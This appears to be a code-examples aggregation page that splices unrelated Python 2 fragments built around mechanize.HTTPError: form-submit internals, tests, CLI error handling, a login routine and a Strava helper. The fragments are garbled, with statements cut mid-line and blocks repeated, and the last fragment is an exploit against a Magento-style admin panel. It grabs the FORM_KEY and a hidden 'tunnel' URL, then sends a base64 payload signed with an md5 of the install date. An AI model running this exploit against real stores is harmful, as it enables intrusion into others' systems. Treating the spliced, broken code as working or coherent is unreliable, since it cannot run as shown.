Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
(control, form) for (control, form) in intermediate if
control.type in ('submit', 'submitbutton', 'image')]
control, form = disambiguate(intermediate, msg, index,
control_form_tuple_repr,
available)
self.browser._clickSubmit(form, control, coord)
else: # JavaScript sort of submit
if index is not None or coord != (1,1):
raise ValueError(
'May not use index or coord without a control')
request = self.mech_form._switch_click("request", mechanize.Request)
self.browser._start_timer()
try:
try:
self.browser.mech_browser.open(request)
except mechanize.HTTPError, e:
if self.browser.raiseHttpErrors:
fix_exception_name(e)
raise
except Exception, e:
fix_exception_name(e)
raise
finally:
self.browser._stop_timer()
finally:
self.browser._changed()
name = MyHTTPError.__module__ + '.' + MyHTTPError.__name__
self.assertTrue(
repr(r2).startswith(
'
def test_404(self):
br = self.make_browser()
self.assertRaises(
mechanize.HTTPError,
br.open, urljoin(self.uri, "/does-not-exist"),
)
def test_proxy_with_no_password_raises_httperror(self):
self.assertRaises(mechanize.HTTPError,
self.opener.open,
self.URL)
% (str.join(' + ',
[ ("%d*%s" % (qty, sy)) for sy,qty in r.items() ]),
d))
elif 'doctest' == args[0]:
import doctest
doctest.testmod(name="gmtkn24",
optionflags=doctest.NORMALIZE_WHITESPACE)
else:
logger.critical("Unknown ACTION word '%s'."
" Type '%s --help' to get usage help."
% (args[0], PROG))
sys.exit(1)
except HTTPError, x:
logger.critical("HTTP error %d requesting page: %s" % (x.code, x.msg))
sys.exit(1)
ls = Gmtkn24().list()
for name, url in ls.items():
print (" %s --> %s" % (name, url))
elif 'doctest' == args[0]:
import doctest
doctest.testmod(name="gmtkn24",
optionflags=doctest.NORMALIZE_WHITESPACE)
else:
logger.critical("Unknown ACTION word '%s'."
" Type '%s --help' to get usage help."
% (args[0], PROG))
sys.exit(1)
except HTTPError, x:
logger.critical("HTTP error %d requesting page: %s" % (x.code, x.msg))
sys.exit(1)
def login(self):
try:
login_resp = self._br.open(base_url + login_url, urlencode({'email':self._config.EMAIL, 'password':self._config.PASSWORD}))
login_state = json.loads(login_resp.read())
self._logged_in = login_state.get('success')
if not self._logged_in:
print login_state.get('value')
return self._logged_in
except mechanize.HTTPError, e:
sys.exit('Can\'t sign in')
def _open_url(browser, url):
try:
browser.open(url)
except mechanize.HTTPError as e:
raise StravaError(str(e))
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
exploit = tunnel + '?ga=' + payload + '&h=' + gh
try:
request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
print e.read()